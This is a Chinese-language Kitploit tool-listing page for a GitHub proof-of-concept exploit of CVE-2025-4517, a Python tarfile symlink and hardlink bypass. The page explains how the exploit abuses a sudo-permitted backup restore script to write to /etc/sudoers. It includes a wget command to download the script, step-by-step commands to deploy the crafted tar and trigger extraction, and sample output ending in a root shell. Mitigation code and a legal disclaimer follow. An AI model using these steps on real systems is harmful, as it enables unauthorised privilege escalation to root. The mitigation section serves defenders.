Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-4517-POC — CVE-2025-4517 权限提升脚本 | Kitploit
工具/GitHubGitHub/azureadtrent/cve-2025-4517-poc
权限提升漏洞分析漏洞利用CTF学习与教育二进制利用
GitHubazureadtrent/cve-2025-4517-poc

CVE-2025-4517-POC

CVE-2025-4517 权限提升脚本

查看仓库
925个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-4517 利用

说明

本利用及描述由AI编写。如果发现任何错误或问题,请告知我!本利用已测试并确认有效。感谢!

概述

本利用利用了 CVE-2025-4517,这是 Python tarfile 模块中的一个严重漏洞,通过组合符号链接路径遍历与硬链接操纵,可实现任意文件写入。该漏洞绕过了 Python 3.12 中引入的 filter="data" 保护机制。

漏洞详情

  • CVE ID: CVE-2025-4517
  • 受影响版本: Python 3.8.0 至 3.13.1
  • CVSS 评分: 9.3(严重)
  • 影响: 以提升的权限进行任意文件写入

技术背景

该漏洞利用了 Python tarfile.extractall() 在处理以下交互时的缺陷:

  1. 符号链接 – 用于创建超出提取目录的路径遍历
  2. 硬链接 – 用于通过逃逸的符号链接路径引用文件
  3. 过滤绕过 – filter="data" 参数阻止直接的符号链接逃逸,但硬链接技术绕过了这一防护

攻击流程

root@kitploit:~
1. 创建深层嵌套目录(路径混淆)
   └─ 使用247个字符的目录名重复16层

2. 构建符号链接链以进行路径遍历
   └─ 创建解析到目录树上方层的符号链接

3. 将符号链接逃逸到目标目录(/etc)
   └─ 最终符号链接指向提取边界之外

4. 创建指向逃逸符号链接的硬链接
   └─ 硬链接: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"

5. 向硬链接写入内容
   └─ 写入 "sudoers_link" 实际写入到 /etc/sudoers

脆弱组件

脚本: /opt/backup_clients/restore_backup_clients.py

root@kitploit:~
# 易受攻击的代码片段
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

Sudo 权限:

root@kitploit:~
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

系统详情

  • Python 版本: 3.12.3(受 CVE-2025-4517 影响)

使用

前置条件

  • 拥有对易受攻击脚本的 sudo 权限的用户访问
  • 对 /opt/backup_clients/backups/ 的写权限
  • 攻击机上安装 Python 3

安装

root@kitploit:~
# 下载利用
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# 移动到目标系统

基本执行

root@kitploit:~
# 运行利用
./exploit.py

# 或使用 Python
python3 exploit.py

手动逐步执行

如果你希望手动执行每一步:

root@kitploit:~
# 1. 创建利用 tar 文件
python3 exploit.py --create-only

# 2. 部署到目标
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar

# 3. 通过易受攻击脚本执行
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar \
  -r restore_exploit

# 4. 验证 sudoers 修改
sudo cat /etc/sudoers | grep "$(whoami)"

# 5. 获取 root 权限
sudo /bin/bash

输出示例

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-4517 Tarfile Exploit                         ║
║     Privilege Escalation via Symlink + Hardlink Bypass    ║
╚═══════════════════════════════════════════════════════════╝

[*] 目标用户: wacky
[*] 为用户 wacky 创建利用 tar 文件
[*] 阶段1: 构建嵌套目录结构...
[*] 阶段2: 创建符号链接链用于路径遍历...
[*] 阶段3: 创建逃逸到 /etc 的符号链接...
[*] 阶段4: 创建指向 /etc/sudoers 的硬链接...
[*] 阶段5: 写入 sudoers 条目...
[+] 利用 tar 文件已创建: /tmp/cve_2025_4517_exploit.tar
[*] 部署利用到: /opt/backup_clients/backups/backup_9999.tar
[+] 利用部署成功
[*] 通过易受攻击脚本触发提取...
[+] 备份: backup_9999.tar
[+] 暂存目录: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] 提取完成于 /opt/backup_clients/restored_backups/restore_pwn_9999
[+] 提取完成
[*] 验证利用成功...
[+] 成功!用户 'wacky' 已添加到 sudoers
[+] 条目: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] 利用成功!
[+] 用户 'wacky' 现在拥有完整 sudo 权限
[+] 使用以下命令获取 root 权限: sudo /bin/bash
============================================================

[?] 现在生成 root shell? (y/n): y
[*] 正在生成 root shell...
[*] 执行: sudo /bin/bash

root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

概念验证流程

阶段1:初始访问

  • 用户访问权限

阶段2:权限提升(本利用)

  • 识别备份恢复脚本的 sudo 权限
  • 确认 Python 版本受 CVE-2025-4517 影响
  • 部署 tar 利用以修改 /etc/sudoers
  • 获取 root 访问权限

缓解措施

针对Python开发者

  1. 升级 Python:更新至 Python 3.13.2+ 或应用安全补丁
root@kitploit:~
   python3 --version  # 检查版本
  1. 额外验证:对 tar 内容实施严格验证
root@kitploit:~
   # 在提取前检查可疑成员
   for member in tar.getmembers():
       if member.islnk() or member.issym():
           raise SecurityError("不允许符号链接/硬链接")
  1. 限制提取路径:验证所有提取文件保持在边界内
root@kitploit:~
   import os
   for member in tar.getmembers():
       member_path = os.path.join(extract_path, member.name)
       if not member_path.startswith(os.path.abspath(extract_path)):
           raise SecurityError("检测到路径遍历")

针对系统管理员

  1. 限制 sudo 访问:尽量减少可以以 root 运行的脚本
root@kitploit:~
   # 移除或限制备份脚本的 sudo 访问
   visudo
  1. 输入验证:在处理前验证 tar 归档文件
root@kitploit:~
   # 在提取前检查 tar 内容
   tar -tzf archive.tar | grep -E '\.\./|^/'
  1. 文件完整性监控:监控 /etc/sudoers 等关键文件
root@kitploit:~
   # 设置 AIDE 或类似 IDS
   aide --check
  1. AppArmor/SELinux:实施强制访问控制

参考

CVE 信息

  • CVE-2025-4517 - NVD
  • CVE-2025-4138 - 相关漏洞
  • Python 安全公告

研究与报告

  • Linux 安全公告
  • Google 安全研究 - GHSA-hgqp-3mmf-7h8f

公开 PoC

  • DesertDemons CVE-2025-4138-4517-POC
  • StealthByte CVE-2025-4517-poc
  • AnimePrincess420 PoC

法律免责声明

本利用仅用于教育目的,并适用于以下场景:

  • 授权的渗透测试项目
  • 像 HackTheBox 这样的夺旗(CTF)比赛
  • 在受控环境中的安全研究
  • 漏洞披露与补丁开发

作者不对本代码的滥用承担任何责任。

原始研究:多位安全研究人员(参见参考)

许可证

MIT 许可证 - 详见 LICENSE 文件


最后更新: 2026年3月

下载工具